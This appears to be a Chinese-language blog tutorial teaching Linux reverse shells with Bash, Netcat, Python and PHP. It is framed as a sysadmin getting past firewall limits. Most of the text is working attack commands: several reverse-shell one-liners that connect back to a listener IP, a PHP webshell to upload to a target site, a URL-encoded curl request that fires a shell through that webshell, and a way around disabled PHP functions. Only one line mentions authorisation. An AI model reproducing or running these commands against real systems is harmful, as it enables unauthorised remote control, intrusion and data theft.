Linux反弹Shell实战:Bash/NC/Python/PHP实操指南

低价海外云服务器,香港/美国免备案服务器仅需8.8起

某企业的测试服务器因为安全策略限制了所有入站端口,运维工程师小李需要远程排查服务器上的日志问题,直接通过SSH连接被防火墙拦截。这时候,反弹Shell就成了他的解决办法——通过让目标主机主动发起连接,绕过入站限制,建立远程控制会话。本文就结合Bash、NC、Python、PHP四种常用工具,详细讲解反弹Shell的实战操作和注意事项。

反弹Shell的基本原理

反弹Shell和正向连接的主要区别在于连接发起方:正向连接是本地机器主动连接目标主机的开放端口,而反弹Shell则是目标主机主动连接本地监听的端口,将Shell会话传输过来。这种方式可以规避目标主机的入站防火墙限制,在很多受限环境中非常实用。
操作的基本流程分为两步:
1、在本地机器上开启一个端口监听,等待目标主机的连接
2、在目标主机上执行反弹命令,让主机主动连接本地监听端口,完成Shell会话的传递

Bash反弹Shell实战

Bash是绝大多数Linux发行版自带的Shell工具,不需要额外安装,是最常用的反弹Shell手段之一。

操作步骤

首先在本地机器上开启端口监听,这里我们选择4444端口(1024以上的端口无需管理员权限):

nc -lvnp 4444

参数解释:-l表示开启监听模式,-v显示详细连接信息,-n不进行域名解析,-p指定监听端口。
然后在目标主机上执行反弹命令:

bash -i >& /dev/tcp/你的本地IP/4444 0>&1

命令拆解:

  • bash -i:启动交互式Shell,支持用户输入交互命令
  • & /dev/tcp/你的本地IP/4444:将标准输出和标准错误输出重定向到TCP连接中

  • 0>&1:将标准输入重定向到标准输出对应的连接,实现双向通信
    如果目标主机的Bash路径不是默认的/bin/bash,可以替换为完整路径,比如/usr/bin/bash -i …。

常见变体

如果目标主机使用的是轻量系统,比如Alpine Linux,默认没有安装Bash,可以用sh替代:

sh -i >& /dev/tcp/你的本地IP/4444 0>&1

另外还可以使用UDP协议的反弹命令,适合部分限制了TCP的场景:

bash -i >& /dev/udp/你的本地IP/4444 0>&1

NC反弹Shell实战

NC也就是Netcat,被称为“网络瑞士军刀”,支持多种网络操作,也是反弹Shell的常用工具。不过需要注意不同版本的NC功能有差异:GNU版本的NC支持-e参数,而BusyBox编译的精简版本则没有该参数。

GNU NC实战(带-e参数)

本地监听命令和之前一致:

nc -lvnp 4444

目标主机上执行反弹命令:

nc 你的本地IP 4444 -e /bin/bash

这里的-e参数表示将NC连接的输入输出重定向到后面的bash程序,实现Shell会话的传递。

精简版NC(无-e参数)实战

很多嵌入式设备或者轻量系统使用的是BusyBox的NC,没有-e参数,这时候可以通过命名管道实现双向通信:

mknod backpipe p && nc 你的本地IP 4444 0<backpipe | /bin/bash 1>backpipe

命令拆解:
1、mknod backpipe p:创建一个命名管道backpipe,用于传递数据
2、nc 你的本地IP 4444 0<backpipe:将管道的内容作为NC的输入
3、| /bin/bash 1>backpipe:将bash的标准输出重定向到管道中,实现双向数据流转

Python反弹Shell实战

Python几乎预装在所有现代Linux发行版中,而且语法简洁,反弹Shell的命令兼容性很强,适合大多数有Python环境的目标主机。

基础反弹命令

本地监听依旧使用nc -lvnp 4444,目标主机执行以下命令:

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("你的本地IP",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'

命令拆解:
1、导入socket、subprocess、os三个模块,分别用于网络连接、执行系统命令和文件描述符操作
2、创建TCP socket连接,连接到本地监听端口
3、使用os.dup2将socket的文件描述符替换为标准输入、输出和错误输出,让bash的所有输入输出都通过socket传输
4、调用subprocess.call启动交互式bash Shell
如果目标主机默认使用Python3,可以将python替换为python3。

升级为完整终端

有时候反弹回来的Shell会出现交互异常,比如无法使用方向键、快捷键,可以通过Python的pty模块升级为完整的终端:
在反弹得到的Shell中执行:

python -c 'import pty; pty.spawn("/bin/bash")'

之后可以按Ctrl+Z将当前Shell挂起,在本地终端执行stty raw -echo,再按fg回到目标Shell,就可以获得完整的终端交互体验。

PHP反弹Shell实战

PHP常用于Web服务器环境,很多时候我们会通过Webshell的方式获取目标主机的执行权限,这时候PHP反弹Shell就非常实用。

基础反弹命令

本地监听还是nc -lvnp 4444,目标主机执行以下命令:

php -r '\$sock=fsockopen("你的本地IP",4444);exec("/bin/bash -i <&3 >&3 2>&3");'

这里使用了fsockopen创建TCP连接,用文件描述符3指代socket连接,将标准输入、输出和错误都重定向到该连接。

Web场景下的PHP反弹

如果是通过Webshell上传的方式获取权限,可以先编写一个简单的PHP脚本:

<?php
if(isset(\$_GET['cmd'])){
    system(\$_GET['cmd']);
}
?>

将该脚本上传到目标网站的可访问目录下,然后通过浏览器或者curl命令执行反弹命令:

curl http://目标网站地址/shell.php?cmd=bash+-i+>+%26+%2Fdev%2Ftcp%2F你的本地IP%2F4444+0%3E%261

注意需要对命令中的特殊字符进行URL编码,比如空格替换为+或者%20。

受限PHP环境处理

如果PHP被禁用了exec、shell_exec等函数,可以尝试使用其他函数,比如popen:

php -r '$sock=fsockopen("你的本地IP",4444);$fp=popen("/bin/bash -i","r");while($f=fgets($fp)){fwrite($sock,$f);}'

不过这种方式的兼容性不如exec,需要根据实际环境调整。

实战注意事项和排错技巧

在实际操作中,经常会遇到各种问题,以下是一些实用的注意事项和排错方法:
1、请不要进行未授权的操作,反弹Shell只能在获得明确授权的设备上使用,遵守相关法律法规
2、确认本地机器和目标主机之间的网络连通性,可以先通过ping命令测试基础网络是否正常
3、检查本地和目标主机的防火墙设置,确保监听的端口没有被拦截,比如本地防火墙开放4444端口
4、如果反弹失败,可以尝试更换端口,比如使用8080、8888等常见端口,避开被占用的端口
5、如果拿到的Shell交互异常,可以使用Python的pty模块升级终端,获得更好的使用体验
6、如果目标主机没有安装对应工具,比如没有Python,可以尝试使用其他工具,比如Bash或者NC

总结

反弹Shell是运维和安全工作中非常实用的技术手段,不同的工具适用于不同的场景:Bash适合大多数自带Shell的Linux系统,NC适合没有Python环境的场景,Python兼容性强适合大多数现代系统,PHP则多用于Web服务器环境。掌握这四种工具的实战方法,可以帮助我们在合法授权的前提下,高效完成远程排查和测试工作。

THE END
喜欢就关注一下咱们公众号吧
点赞30 分享